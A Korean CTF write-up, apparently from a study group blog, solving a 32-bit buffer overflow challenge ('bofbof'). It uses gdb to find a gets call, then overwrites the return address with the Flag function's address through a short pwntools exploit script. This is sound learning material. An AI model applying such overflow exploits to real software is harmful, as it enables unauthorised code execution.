file 명령어로 확인해보면 32비트 리눅스 실행파일임을 확인할 수있다.
파일을 실행하면 입력을 받고 플래그를 찾아야 한다는 문자열이 나온다.
gdb로 열어 함수 정보를 보면 다음과 같다.
main 함수의 어셈을 보면 다음과 같다.
0x68만큼의 공간을 확보하고 있고, gets함수로 입력받고 있다. 0x68+4만큼 더미값을 넣고, Flag 함수의 주소를 넣으면 ret에 Flag함수의 주소가 들어가 Flag 함수가 실행될 것 같다.
파이썬으로 익스코드를 작성하면 다음과 같다.
from pwn import *
p = process("./bofbof")
pay = "A" * 108 + p32(0x08049182)
p.send(pay)
#p.recv()
p.interactive()
IDA 헥스레이 기능을 활용하여 Flag함수를 확인해도 플래그를 확인할 수 있다.
'Project H4C Study Group' 카테고리의 다른 글
[Project H4C][자작문제] rtl32 (0) | 2021.05.01 |
---|---|
[Project H4C] [UMDCTF 2021] Jump Not Easy (0) | 2021.04.19 |
[Project H4C] [HackPack CTF] Baby Calc (21.04.19 수정_후기 추가) (0) | 2021.04.18 |
[Project H4C][자작문제] login (0) | 2021.04.12 |
[Project H4C] C언어 코딩도장(15) (0) | 2021.04.11 |